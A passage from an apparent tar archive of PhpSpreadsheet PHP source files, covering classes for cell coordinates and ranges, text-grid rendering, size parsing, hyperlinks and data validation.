seconds'; $this->log($message); } /** * Log a line about the read operation. */ public function logRead(string $format, string $path, float $callStartTime): void { $callEndTime = microtime(true); $callTime = $callEndTime - $callStartTime; $message = "Read {$format} format from <code>{$path}</code> in " . sprintf('%.4f', $callTime) . ' seconds'; $this->log($message); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/TextGrid.php000064400000007712151676714400020740 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; class TextGrid { private bool $isCli; protected array $matrix; protected array $rows; protected array $columns; private string $gridDisplay; public function __construct(array $matrix, bool $isCli = true) { $this->rows = array_keys($matrix); $this->columns = array_keys($matrix[$this->rows[0]]); $matrix = array_values($matrix); array_walk( $matrix, function (&$row): void { $row = array_values($row); } ); $this->matrix = $matrix; $this->isCli = $isCli; } public function render(): string { $this->gridDisplay = $this->isCli ? '' : '<pre>'; $maxRow = max($this->rows); $maxRowLength = mb_strlen((string) $maxRow) + 1; $columnWidths = $this->getColumnWidths(); $this->renderColumnHeader($maxRowLength, $columnWidths); $this->renderRows($maxRowLength, $columnWidths); $this->renderFooter($maxRowLength, $columnWidths); $this->gridDisplay .= $this->isCli ? '' : '</pre>'; return $this->gridDisplay; } private function renderRows(int $maxRowLength, array $columnWidths): void { foreach ($this->matrix as $row => $rowData) { $this->gridDisplay .= '|' . str_pad((string) $this->rows[$row], $maxRowLength, ' ', STR_PAD_LEFT) . ' '; $this->renderCells($rowData, $columnWidths); $this->gridDisplay .= '|' . PHP_EOL; } } private function renderCells(array $rowData, array $columnWidths): void { foreach ($rowData as $column => $cell) { $displayCell = ($this->isCli) ? (string) $cell : htmlentities((string) $cell); $this->gridDisplay .= '| '; $this->gridDisplay .= $displayCell . str_repeat(' ', $columnWidths[$column] - mb_strlen($cell ?? '') + 1); } } private function renderColumnHeader(int $maxRowLength, array $columnWidths): void { $this->gridDisplay .= str_repeat(' ', $maxRowLength + 2); foreach ($this->columns as $column => $reference) { $this->gridDisplay .= '+-' . str_repeat('-', $columnWidths[$column] + 1); } $this->gridDisplay .= '+' . PHP_EOL; $this->gridDisplay .= str_repeat(' ', $maxRowLength + 2); foreach ($this->columns as $column => $reference) { $this->gridDisplay .= '| ' . str_pad((string) $reference, $columnWidths[$column] + 1, ' '); } $this->gridDisplay .= '|' . PHP_EOL; $this->renderFooter($maxRowLength, $columnWidths); } private function renderFooter(int $maxRowLength, array $columnWidths): void { $this->gridDisplay .= '+' . str_repeat('-', $maxRowLength + 1); foreach ($this->columns as $column => $reference) { $this->gridDisplay .= '+-'; $this->gridDisplay .= str_pad((string) '', $columnWidths[$column] + 1, '-'); } $this->gridDisplay .= '+' . PHP_EOL; } private function getColumnWidths(): array { $columnCount = count($this->matrix, COUNT_RECURSIVE) / count($this->matrix); $columnWidths = []; for ($column = 0; $column < $columnCount; ++$column) { $columnWidths[] = $this->getColumnWidth(array_column($this->matrix, $column)); } return $columnWidths; } private function getColumnWidth(array $columnData): int { $columnWidth = 0; $columnData = array_values($columnData); foreach ($columnData as $columnValue) { if (is_string($columnValue)) { $columnWidth = max($columnWidth, mb_strlen($columnValue)); } elseif (is_bool($columnValue)) { $columnWidth = max($columnWidth, mb_strlen($columnValue ? 'TRUE' : 'FALSE')); } $columnWidth = max($columnWidth, mb_strlen((string) $columnWidth)); } return $columnWidth; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Size.php000064400000001571151676714400020115 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; use Stringable; class Size implements Stringable { const REGEXP_SIZE_VALIDATION = '/^(?P<size>\d*\.?\d+)(?P<unit>pt|px|em)?$/i'; protected bool $valid; protected string $size = ''; protected string $unit = ''; public function __construct(string $size) { $this->valid = (bool) preg_match(self::REGEXP_SIZE_VALIDATION, $size, $matches); if ($this->valid) { $this->size = $matches['size']; $this->unit = $matches['unit'] ?? 'pt'; } } public function valid(): bool { return $this->valid; } public function size(): string { return $this->size; } public function unit(): string { return $this->unit; } public function __toString(): string { return $this->size . $this->unit; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/RowRange.php000064400000004323151676714400020365 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Stringable; /** * @implements AddressRange<int> */ class RowRange implements AddressRange, Stringable { protected ?Worksheet $worksheet; protected int $from; protected int $to; public function __construct(int $from, ?int $to = null, ?Worksheet $worksheet = null) { $this->validateFromTo($from, $to ?? $from); $this->worksheet = $worksheet; } public function __destruct() { $this->worksheet = null; } public static function fromArray(array $array, ?Worksheet $worksheet = null): self { [$from, $to] = $array; return new self($from, $to, $worksheet); } private function validateFromTo(int $from, int $to): void { // Identify actual top and bottom values (in case we've been given bottom and top) $this->from = min($from, $to); $this->to = max($from, $to); } public function from(): int { return $this->from; } public function to(): int { return $this->to; } public function rowCount(): int { return $this->to - $this->from + 1; } public function shiftRight(int $offset = 1): self { $newFrom = $this->from + $offset; $newFrom = ($newFrom < 1) ? 1 : $newFrom; $newTo = $this->to + $offset; $newTo = ($newTo < 1) ? 1 : $newTo; return new self($newFrom, $newTo, $this->worksheet); } public function shiftLeft(int $offset = 1): self { return $this->shiftRight(0 - $offset); } public function toCellRange(): CellRange { return new CellRange( CellAddress::fromColumnAndRow(Coordinate::columnIndexFromString('A'), $this->from, $this->worksheet), CellAddress::fromColumnAndRow(Coordinate::columnIndexFromString(AddressRange::MAX_COLUMN), $this->to) ); } public function __toString(): string { if ($this->worksheet !== null) { $title = str_replace("'", "''", $this->worksheet->getTitle()); return "'{$title}'!{$this->from}:{$this->to}"; } return "{$this->from}:{$this->to}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/Coordinate.php000064400000057437151676714400020746 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; /** * Helper class to manipulate cell coordinates. * * Columns indexes and rows are always based on 1, **not** on 0. This match the behavior * that Excel users are used to, and also match the Excel functions `COLUMN()` and `ROW()`. */ abstract class Coordinate { public const A1_COORDINATE_REGEX = '/^(?<col>\$?[A-Z]{1,3})(?<row>\$?\d{1,7})$/i'; public const FULL_REFERENCE_REGEX = '/^(?:(?<worksheet>[^!]*)!)?(?<localReference>(?<firstCoordinate>[$]?[A-Z]{1,3}[$]?\d{1,7})(?:\:(?<secondCoordinate>[$]?[A-Z]{1,3}[$]?\d{1,7}))?)$/i'; /** * Default range variable constant. * * @var string */ const DEFAULT_RANGE = 'A1:A1'; /** * Convert string coordinate to [0 => int column index, 1 => int row index]. * * @param string $cellAddress eg: 'A1' * * @return array{0: string, 1: string} Array containing column and row (indexes 0 and 1) */ public static function coordinateFromString(string $cellAddress): array { if (preg_match(self::A1_COORDINATE_REGEX, $cellAddress, $matches)) { return [$matches['col'], $matches['row']]; } elseif (self::coordinateIsRange($cellAddress)) { throw new Exception('Cell coordinate string can not be a range of cells'); } elseif ($cellAddress == '') { throw new Exception('Cell coordinate can not be zero-length string'); } throw new Exception('Invalid cell coordinate ' . $cellAddress); } /** * Convert string coordinate to [0 => int column index, 1 => int row index, 2 => string column string]. * * @param string $coordinates eg: 'A1', '$B$12' * * @return array{0: int, 1: int, 2: string} Array containing column and row index, and column string */ public static function indexesFromString(string $coordinates): array { [$column, $row] = self::coordinateFromString($coordinates); $column = ltrim($column, '$'); return [ self::columnIndexFromString($column), (int) ltrim($row, '$'), $column, ]; } /** * Checks if a Cell Address represents a range of cells. * * @param string $cellAddress eg: 'A1' or 'A1:A2' or 'A1:A2,C1:C2' * * @return bool Whether the coordinate represents a range of cells */ public static function coordinateIsRange(string $cellAddress): bool { return str_contains($cellAddress, ':') || str_contains($cellAddress, ','); } /** * Make string row, column or cell coordinate absolute. * * @param int|string $cellAddress e.g. 'A' or '1' or 'A1' * Note that this value can be a row or column reference as well as a cell reference * * @return string Absolute coordinate e.g. '$A' or '$1' or '$A$1' */ public static function absoluteReference(int|string $cellAddress): string { $cellAddress = (string) $cellAddress; if (self::coordinateIsRange($cellAddress)) { throw new Exception('Cell coordinate string can not be a range of cells'); } // Split out any worksheet name from the reference [$worksheet, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); if ($worksheet > '') { $worksheet .= '!'; } // Create absolute coordinate $cellAddress = "$cellAddress"; if (ctype_digit($cellAddress)) { return $worksheet . '$' . $cellAddress; } elseif (ctype_alpha($cellAddress)) { return $worksheet . '$' . strtoupper($cellAddress); } return $worksheet . self::absoluteCoordinate($cellAddress); } /** * Make string coordinate absolute. * * @param string $cellAddress e.g. 'A1' * * @return string Absolute coordinate e.g. '$A$1' */ public static function absoluteCoordinate(string $cellAddress): string { if (self::coordinateIsRange($cellAddress)) { throw new Exception('Cell coordinate string can not be a range of cells'); } // Split out any worksheet name from the coordinate [$worksheet, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); if ($worksheet > '') { $worksheet .= '!'; } // Create absolute coordinate [$column, $row] = self::coordinateFromString($cellAddress ?? 'A1'); $column = ltrim($column, '$'); $row = ltrim($row, '$'); return $worksheet . '$' . $column . '$' . $row; } /** * Split range into coordinate strings. * * @param string $range e.g. 'B4:D9' or 'B4:D9,H2:O11' or 'B4' * * @return array Array containing one or more arrays containing one or two coordinate strings * e.g. ['B4','D9'] or [['B4','D9'], ['H2','O11']] * or ['B4'] */ public static function splitRange(string $range): array { // Ensure $pRange is a valid range if (empty($range)) { $range = self::DEFAULT_RANGE; } $exploded = explode(',', $range); $outArray = []; foreach ($exploded as $value) { $outArray[] = explode(':', $value); } return $outArray; } /** * Build range from coordinate strings. * * @param array $range Array containing one or more arrays containing one or two coordinate strings * * @return string String representation of $pRange */ public static function buildRange(array $range): string { // Verify range if (empty($range) || !is_array($range[0])) { throw new Exception('Range does not contain any information'); } // Build range $counter = count($range); for ($i = 0; $i < $counter; ++$i) { $range[$i] = implode(':', $range[$i]); } return implode(',', $range); } /** * Calculate range boundaries. * * @param string $range Cell range, Single Cell, Row/Column Range (e.g. A1:A1, B2, B:C, 2:3) * * @return array Range coordinates [Start Cell, End Cell] * where Start Cell and End Cell are arrays (Column Number, Row Number) */ public static function rangeBoundaries(string $range): array { // Ensure $pRange is a valid range if (empty($range)) { $range = self::DEFAULT_RANGE; } // Uppercase coordinate $range = strtoupper($range); // Extract range if (!str_contains($range, ':')) { $rangeA = $rangeB = $range; } else { [$rangeA, $rangeB] = explode(':', $range); } if (is_numeric($rangeA) && is_numeric($rangeB)) { $rangeA = 'A' . $rangeA; $rangeB = AddressRange::MAX_COLUMN . $rangeB; } if (ctype_alpha($rangeA) && ctype_alpha($rangeB)) { $rangeA = $rangeA . '1'; $rangeB = $rangeB . AddressRange::MAX_ROW; } // Calculate range outer borders $rangeStart = self::coordinateFromString($rangeA); $rangeEnd = self::coordinateFromString($rangeB); // Translate column into index $rangeStart[0] = self::columnIndexFromString($rangeStart[0]); $rangeEnd[0] = self::columnIndexFromString($rangeEnd[0]); return [$rangeStart, $rangeEnd]; } /** * Calculate range dimension. * * @param string $range Cell range, Single Cell, Row/Column Range (e.g. A1:A1, B2, B:C, 2:3) * * @return array Range dimension (width, height) */ public static function rangeDimension(string $range): array { // Calculate range outer borders [$rangeStart, $rangeEnd] = self::rangeBoundaries($range); return [($rangeEnd[0] - $rangeStart[0] + 1), ($rangeEnd[1] - $rangeStart[1] + 1)]; } /** * Calculate range boundaries. * * @param string $range Cell range, Single Cell, Row/Column Range (e.g. A1:A1, B2, B:C, 2:3) * * @return array Range coordinates [Start Cell, End Cell] * where Start Cell and End Cell are arrays [Column ID, Row Number] */ public static function getRangeBoundaries(string $range): array { [$rangeA, $rangeB] = self::rangeBoundaries($range); return [ [self::stringFromColumnIndex($rangeA[0]), $rangeA[1]], [self::stringFromColumnIndex($rangeB[0]), $rangeB[1]], ]; } /** * Check if cell or range reference is valid and return an array with type of reference (cell or range), worksheet (if it was given) * and the coordinate or the first coordinate and second coordinate if it is a range. * * @param string $reference Coordinate or Range (e.g. A1:A1, B2, B:C, 2:3) * * @return array reference data */ private static function validateReferenceAndGetData($reference): array { $data = []; preg_match(self::FULL_REFERENCE_REGEX, $reference, $matches); if (count($matches) === 0) { return ['type' => 'invalid']; } if (isset($matches['secondCoordinate'])) { $data['type'] = 'range'; $data['firstCoordinate'] = str_replace('$', '', $matches['firstCoordinate']); $data['secondCoordinate'] = str_replace('$', '', $matches['secondCoordinate']); } else { $data['type'] = 'coordinate'; $data['coordinate'] = str_replace('$', '', $matches['firstCoordinate']); } $worksheet = $matches['worksheet']; if ($worksheet !== '') { if (substr($worksheet, 0, 1) === "'" && substr($worksheet, -1, 1) === "'") { $worksheet = substr($worksheet, 1, -1); } $data['worksheet'] = strtolower($worksheet); } $data['localReference'] = str_replace('$', '', $matches['localReference']); return $data; } /** * Check if coordinate is inside a range. * * @param string $range Cell range, Single Cell, Row/Column Range (e.g. A1:A1, B2, B:C, 2:3) * @param string $coordinate Cell coordinate (e.g. A1) * * @return bool true if coordinate is inside range */ public static function coordinateIsInsideRange(string $range, string $coordinate): bool { $rangeData = self::validateReferenceAndGetData($range); if ($rangeData['type'] === 'invalid') { throw new Exception('First argument needs to be a range'); } $coordinateData = self::validateReferenceAndGetData($coordinate); if ($coordinateData['type'] === 'invalid') { throw new Exception('Second argument needs to be a single coordinate'); } if (isset($coordinateData['worksheet']) && !isset($rangeData['worksheet'])) { return false; } if (!isset($coordinateData['worksheet']) && isset($rangeData['worksheet'])) { return false; } if (isset($coordinateData['worksheet'], $rangeData['worksheet'])) { if ($coordinateData['worksheet'] !== $rangeData['worksheet']) { return false; } } $boundaries = self::rangeBoundaries($rangeData['localReference']); $coordinates = self::indexesFromString($coordinateData['localReference']); $columnIsInside = $boundaries[0][0] <= $coordinates[0] && $coordinates[0] <= $boundaries[1][0]; if (!$columnIsInside) { return false; } $rowIsInside = $boundaries[0][1] <= $coordinates[1] && $coordinates[1] <= $boundaries[1][1]; if (!$rowIsInside) { return false; } return true; } /** * Column index from string. * * @param ?string $columnAddress eg 'A' * * @return int Column index (A = 1) */ public static function columnIndexFromString(?string $columnAddress): int { // Using a lookup cache adds a slight memory overhead, but boosts speed // caching using a static within the method is faster than a class static, // though it's additional memory overhead static $indexCache = []; $columnAddress = $columnAddress ?? ''; if (isset($indexCache[$columnAddress])) { return $indexCache[$columnAddress]; } // It's surprising how costly the strtoupper() and ord() calls actually are, so we use a lookup array // rather than use ord() and make it case insensitive to get rid of the strtoupper() as well. // Because it's a static, there's no significant memory overhead either. static $columnLookup = [ 'A' => 1, 'B' => 2, 'C' => 3, 'D' => 4, 'E' => 5, 'F' => 6, 'G' => 7, 'H' => 8, 'I' => 9, 'J' => 10, 'K' => 11, 'L' => 12, 'M' => 13, 'N' => 14, 'O' => 15, 'P' => 16, 'Q' => 17, 'R' => 18, 'S' => 19, 'T' => 20, 'U' => 21, 'V' => 22, 'W' => 23, 'X' => 24, 'Y' => 25, 'Z' => 26, 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8, 'i' => 9, 'j' => 10, 'k' => 11, 'l' => 12, 'm' => 13, 'n' => 14, 'o' => 15, 'p' => 16, 'q' => 17, 'r' => 18, 's' => 19, 't' => 20, 'u' => 21, 'v' => 22, 'w' => 23, 'x' => 24, 'y' => 25, 'z' => 26, ]; // We also use the language construct isset() rather than the more costly strlen() function to match the // length of $columnAddress for improved performance if (isset($columnAddress[0])) { if (!isset($columnAddress[1])) { $indexCache[$columnAddress] = $columnLookup[$columnAddress]; return $indexCache[$columnAddress]; } elseif (!isset($columnAddress[2])) { $indexCache[$columnAddress] = $columnLookup[$columnAddress[0]] * 26 + $columnLookup[$columnAddress[1]]; return $indexCache[$columnAddress]; } elseif (!isset($columnAddress[3])) { $indexCache[$columnAddress] = $columnLookup[$columnAddress[0]] * 676 + $columnLookup[$columnAddress[1]] * 26 + $columnLookup[$columnAddress[2]]; return $indexCache[$columnAddress]; } } throw new Exception( 'Column string index can not be ' . ((isset($columnAddress[0])) ? 'longer than 3 characters' : 'empty') ); } /** * String from column index. * * @param int|numeric-string $columnIndex Column index (A = 1) */ public static function stringFromColumnIndex(int|string $columnIndex): string { static $indexCache = []; static $lookupCache = ' ABCDEFGHIJKLMNOPQRSTUVWXYZ'; if (!isset($indexCache[$columnIndex])) { $indexValue = $columnIndex; $base26 = ''; do { $characterValue = ($indexValue % 26) ?: 26; $indexValue = ($indexValue - $characterValue) / 26; $base26 = $lookupCache[$characterValue] . $base26; } while ($indexValue > 0); $indexCache[$columnIndex] = $base26; } return $indexCache[$columnIndex]; } /** * Extract all cell references in range, which may be comprised of multiple cell ranges. * * @param string $cellRange Range: e.g. 'A1' or 'A1:C10' or 'A1:E10,A20:E25' or 'A1:E5 C3:G7' or 'A1:C1,A3:C3 B1:C3' * * @return array Array containing single cell references */ public static function extractAllCellReferencesInRange(string $cellRange): array { if (substr_count($cellRange, '!') > 1) { throw new Exception('3-D Range References are not supported'); } [$worksheet, $cellRange] = Worksheet::extractSheetTitle($cellRange, true); $quoted = ''; if ($worksheet) { $quoted = Worksheet::nameRequiresQuotes($worksheet) ? "'" : ''; if (str_starts_with($worksheet, "'") && str_ends_with($worksheet, "'")) { $worksheet = substr($worksheet, 1, -1); } $worksheet = str_replace("'", "''", $worksheet); } [$ranges, $operators] = self::getCellBlocksFromRangeString($cellRange ?? 'A1'); $cells = []; foreach ($ranges as $range) { $cells[] = self::getReferencesForCellBlock($range); } $cells = self::processRangeSetOperators($operators, $cells); if (empty($cells)) { return []; } $cellList = array_merge(...$cells); return array_map( fn ($cellAddress) => ($worksheet !== '') ? "{$quoted}{$worksheet}{$quoted}!{$cellAddress}" : $cellAddress, self::sortCellReferenceArray($cellList) ); } private static function processRangeSetOperators(array $operators, array $cells): array { $operatorCount = count($operators); for ($offset = 0; $offset < $operatorCount; ++$offset) { $operator = $operators[$offset]; if ($operator !== ' ') { continue; } $cells[$offset] = array_intersect($cells[$offset], $cells[$offset + 1]); unset($operators[$offset], $cells[$offset + 1]); $operators = array_values($operators); $cells = array_values($cells); --$offset; --$operatorCount; } return $cells; } private static function sortCellReferenceArray(array $cellList): array { // Sort the result by column and row $sortKeys = []; foreach ($cellList as $coordinate) { $column = ''; $row = 0; sscanf($coordinate, '%[A-Z]%d', $column, $row); $key = (--$row * 16384) + self::columnIndexFromString((string) $column); $sortKeys[$key] = $coordinate; } ksort($sortKeys); return array_values($sortKeys); } /** * Get all cell references for an individual cell block. * * @param string $cellBlock A cell range e.g. A4:B5 * * @return array All individual cells in that range */ private static function getReferencesForCellBlock(string $cellBlock): array { $returnValue = []; // Single cell? if (!self::coordinateIsRange($cellBlock)) { return (array) $cellBlock; } // Range... $ranges = self::splitRange($cellBlock); foreach ($ranges as $range) { // Single cell? if (!isset($range[1])) { $returnValue[] = $range[0]; continue; } // Range... [$rangeStart, $rangeEnd] = $range; [$startColumn, $startRow] = self::coordinateFromString($rangeStart); [$endColumn, $endRow] = self::coordinateFromString($rangeEnd); $startColumnIndex = self::columnIndexFromString($startColumn); $endColumnIndex = self::columnIndexFromString($endColumn); ++$endColumnIndex; // Current data $currentColumnIndex = $startColumnIndex; $currentRow = $startRow; self::validateRange($cellBlock, $startColumnIndex, $endColumnIndex, (int) $currentRow, (int) $endRow); // Loop cells while ($currentColumnIndex < $endColumnIndex) { while ($currentRow <= $endRow) { $returnValue[] = self::stringFromColumnIndex($currentColumnIndex) . $currentRow; ++$currentRow; } ++$currentColumnIndex; $currentRow = $startRow; } } return $returnValue; } /** * Convert an associative array of single cell coordinates to values to an associative array * of cell ranges to values. Only adjacent cell coordinates with the same * value will be merged. If the value is an object, it must implement the method getHashCode(). * * For example, this function converts: * * [ 'A1' => 'x', 'A2' => 'x', 'A3' => 'x', 'A4' => 'y' ] * * to: * * [ 'A1:A3' => 'x', 'A4' => 'y' ] * * @param array $coordinateCollection associative array mapping coordinates to values * * @return array associative array mapping coordinate ranges to valuea */ public static function mergeRangesInCollection(array $coordinateCollection): array { $hashedValues = []; $mergedCoordCollection = []; foreach ($coordinateCollection as $coord => $value) { if (self::coordinateIsRange($coord)) { $mergedCoordCollection[$coord] = $value; continue; } [$column, $row] = self::coordinateFromString($coord); $row = (int) (ltrim($row, '$')); $hashCode = $column . '-' . ((is_object($value) && method_exists($value, 'getHashCode')) ? $value->getHashCode() : $value); if (!isset($hashedValues[$hashCode])) { $hashedValues[$hashCode] = (object) [ 'value' => $value, 'col' => $column, 'rows' => [$row], ]; } else { $hashedValues[$hashCode]->rows[] = $row; } } ksort($hashedValues); foreach ($hashedValues as $hashedValue) { sort($hashedValue->rows); $rowStart = null; $rowEnd = null; $ranges = []; foreach ($hashedValue->rows as $row) { if ($rowStart === null) { $rowStart = $row; $rowEnd = $row; } elseif ($rowEnd === $row - 1) { $rowEnd = $row; } else { if ($rowStart == $rowEnd) { $ranges[] = $hashedValue->col . $rowStart; } else { $ranges[] = $hashedValue->col . $rowStart . ':' . $hashedValue->col . $rowEnd; } $rowStart = $row; $rowEnd = $row; } } if ($rowStart !== null) { if ($rowStart == $rowEnd) { $ranges[] = $hashedValue->col . $rowStart; } else { $ranges[] = $hashedValue->col . $rowStart . ':' . $hashedValue->col . $rowEnd; } } foreach ($ranges as $range) { $mergedCoordCollection[$range] = $hashedValue->value; } } return $mergedCoordCollection; } /** * Get the individual cell blocks from a range string, removing any $ characters. * then splitting by operators and returning an array with ranges and operators. * * @return array[] */ private static function getCellBlocksFromRangeString(string $rangeString): array { $rangeString = str_replace('$', '', strtoupper($rangeString)); // split range sets on intersection (space) or union (,) operators $tokens = preg_split('/([ ,])/', $rangeString, -1, PREG_SPLIT_DELIM_CAPTURE) ?: []; $split = array_chunk($tokens, 2); $ranges = array_column($split, 0); $operators = array_column($split, 1); return [$ranges, $operators]; } /** * Check that the given range is valid, i.e. that the start column and row are not greater than the end column and * row. * * @param string $cellBlock The original range, for displaying a meaningful error message */ private static function validateRange(string $cellBlock, int $startColumnIndex, int $endColumnIndex, int $currentRow, int $endRow): void { if ($startColumnIndex >= $endColumnIndex || $currentRow > $endRow) { throw new Exception('Invalid range: "' . $cellBlock . '"'); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/Hyperlink.php000064400000003261151676714400020606 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; class Hyperlink { /** * URL to link the cell to. */ private string $url; /** * Tooltip to display on the hyperlink. */ private string $tooltip; /** * Create a new Hyperlink. * * @param string $url Url to link the cell to * @param string $tooltip Tooltip to display on the hyperlink */ public function __construct(string $url = '', string $tooltip = '') { // Initialise member variables $this->url = $url; $this->tooltip = $tooltip; } /** * Get URL. */ public function getUrl(): string { return $this->url; } /** * Set URL. * * @return $this */ public function setUrl(string $url): static { $this->url = $url; return $this; } /** * Get tooltip. */ public function getTooltip(): string { return $this->tooltip; } /** * Set tooltip. * * @return $this */ public function setTooltip(string $tooltip): static { $this->tooltip = $tooltip; return $this; } /** * Is this hyperlink internal? (to another worksheet). */ public function isInternal(): bool { return str_contains($this->url, 'sheet://'); } public function getTypeHyperlink(): string { return $this->isInternal() ? '' : 'External'; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->url . $this->tooltip . __CLASS__ ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/AddressRange.php000064400000000612151676714400021200 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; /** * @template T */ interface AddressRange { public const MAX_ROW = 1048576; public const MAX_COLUMN = 'XFD'; public const MAX_COLUMN_INT = 16384; /** * @return T */ public function from(): mixed; /** * @return T */ public function to(): mixed; public function __toString(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/DataValidation.php000064400000017165151676714400021535 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; class DataValidation { // Data validation types const TYPE_NONE = 'none'; const TYPE_CUSTOM = 'custom'; const TYPE_DATE = 'date'; const TYPE_DECIMAL = 'decimal'; const TYPE_LIST = 'list'; const TYPE_TEXTLENGTH = 'textLength'; const TYPE_TIME = 'time'; const TYPE_WHOLE = 'whole'; // Data validation error styles const STYLE_STOP = 'stop'; const STYLE_WARNING = 'warning'; const STYLE_INFORMATION = 'information'; // Data validation operators const OPERATOR_BETWEEN = 'between'; const OPERATOR_EQUAL = 'equal'; const OPERATOR_GREATERTHAN = 'greaterThan'; const OPERATOR_GREATERTHANOREQUAL = 'greaterThanOrEqual'; const OPERATOR_LESSTHAN = 'lessThan'; const OPERATOR_LESSTHANOREQUAL = 'lessThanOrEqual'; const OPERATOR_NOTBETWEEN = 'notBetween'; const OPERATOR_NOTEQUAL = 'notEqual'; private const DEFAULT_OPERATOR = self::OPERATOR_BETWEEN; /** * Formula 1. */ private string $formula1 = ''; /** * Formula 2. */ private string $formula2 = ''; /** * Type. */ private string $type = self::TYPE_NONE; /** * Error style. */ private string $errorStyle = self::STYLE_STOP; /** * Operator. */ private string $operator = self::DEFAULT_OPERATOR; /** * Allow Blank. */ private bool $allowBlank = false; /** * Show DropDown. */ private bool $showDropDown = false; /** * Show InputMessage. */ private bool $showInputMessage = false; /** * Show ErrorMessage. */ private bool $showErrorMessage = false; /** * Error title. */ private string $errorTitle = ''; /** * Error. */ private string $error = ''; /** * Prompt title. */ private string $promptTitle = ''; /** * Prompt. */ private string $prompt = ''; /** * Create a new DataValidation. */ public function __construct() { } /** * Get Formula 1. */ public function getFormula1(): string { return $this->formula1; } /** * Set Formula 1. * * @return $this */ public function setFormula1(string $formula): static { $this->formula1 = $formula; return $this; } /** * Get Formula 2. */ public function getFormula2(): string { return $this->formula2; } /** * Set Formula 2. * * @return $this */ public function setFormula2(string $formula): static { $this->formula2 = $formula; return $this; } /** * Get Type. */ public function getType(): string { return $this->type; } /** * Set Type. * * @return $this */ public function setType(string $type): static { $this->type = $type; return $this; } /** * Get Error style. */ public function getErrorStyle(): string { return $this->errorStyle; } /** * Set Error style. * * @param string $errorStyle see self::STYLE_* * * @return $this */ public function setErrorStyle(string $errorStyle): static { $this->errorStyle = $errorStyle; return $this; } /** * Get Operator. */ public function getOperator(): string { return $this->operator; } /** * Set Operator. * * @return $this */ public function setOperator(string $operator): static { $this->operator = ($operator === '') ? self::DEFAULT_OPERATOR : $operator; return $this; } /** * Get Allow Blank. */ public function getAllowBlank(): bool { return $this->allowBlank; } /** * Set Allow Blank. * * @return $this */ public function setAllowBlank(bool $allowBlank): static { $this->allowBlank = $allowBlank; return $this; } /** * Get Show DropDown. */ public function getShowDropDown(): bool { return $this->showDropDown; } /** * Set Show DropDown. * * @return $this */ public function setShowDropDown(bool $showDropDown): static { $this->showDropDown = $showDropDown; return $this; } /** * Get Show InputMessage. */ public function getShowInputMessage(): bool { return $this->showInputMessage; } /** * Set Show InputMessage. * * @return $this */ public function setShowInputMessage(bool $showInputMessage): static { $this->showInputMessage = $showInputMessage; return $this; } /** * Get Show ErrorMessage. */ public function getShowErrorMessage(): bool { return $this->showErrorMessage; } /** * Set Show ErrorMessage. * * @return $this */ public function setShowErrorMessage(bool $showErrorMessage): static { $this->showErrorMessage = $showErrorMessage; return $this; } /** * Get Error title. */ public function getErrorTitle(): string { return $this->errorTitle; } /** * Set Error title. * * @return $this */ public function setErrorTitle(string $errorTitle): static { $this->errorTitle = $errorTitle; return $this; } /** * Get Error. */ public function getError(): string { return $this->error; } /** * Set Error. * * @return $this */ public function setError(string $error): static { $this->error = $error; return $this; } /** * Get Prompt title. */ public function getPromptTitle(): string { return $this->promptTitle; } /** * Set Prompt title. * * @return $this */ public function setPromptTitle(string $promptTitle): static { $this->promptTitle = $promptTitle; return $this; } /** * Get Prompt. */ public function getPrompt(): string { return $this->prompt; } /** * Set Prompt. * * @return $this */ public function setPrompt(string $prompt): static { $this->prompt = $prompt; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->formula1 . $this->formula2 . $this->type . $this->errorStyle . $this->operator . ($this->allowBlank ? 't' : 'f') . ($this->showDropDown ? 't' : 'f') . ($this->showInputMessage ? 't' : 'f') . ($this->showErrorMessage ? 't' : 'f') . $this->errorTitle . $this->error . $this->promptTitle . $this->prompt . $this->sqref . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } private ?string $sqref = null; public function getSqref(): ?string { return $this->sqref; } public function setSqref(?string $str): self { $this->sqref = $str; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/IgnoredErrors.php000064400000002156151676714400021427 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; class IgnoredErrors { private bool $numberStoredAsText = false; private bool $formula = false; private bool $twoDigitTextYear = false; private bool $evalError = false; public function setNumberStoredAsText(bool $value): self { $this->numberStoredAsText = $value; return $this; } public function getNumberStoredAsText(): bool { return $this->numberStoredAsText; } public function setFormula(bool $value): self { $this->formula = $value; return $this; } public function getFormula(): bool { return $this->formula; } public function setTwoDigitTextYear(bool $value): self { $this->twoDigitTextYear = $value; return $this; } public function getTwoDigitTextYear(): bool { return $this->twoDigitTextYear; } public function setEvalError(bool $value): self { $this->evalError = $value; return $this; } public function getEvalError(): bool { return $this->evalError; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/StringValueBinder.php000064400000007335151676714400022236 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use DateTimeInterface; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\RichText\RichText; use 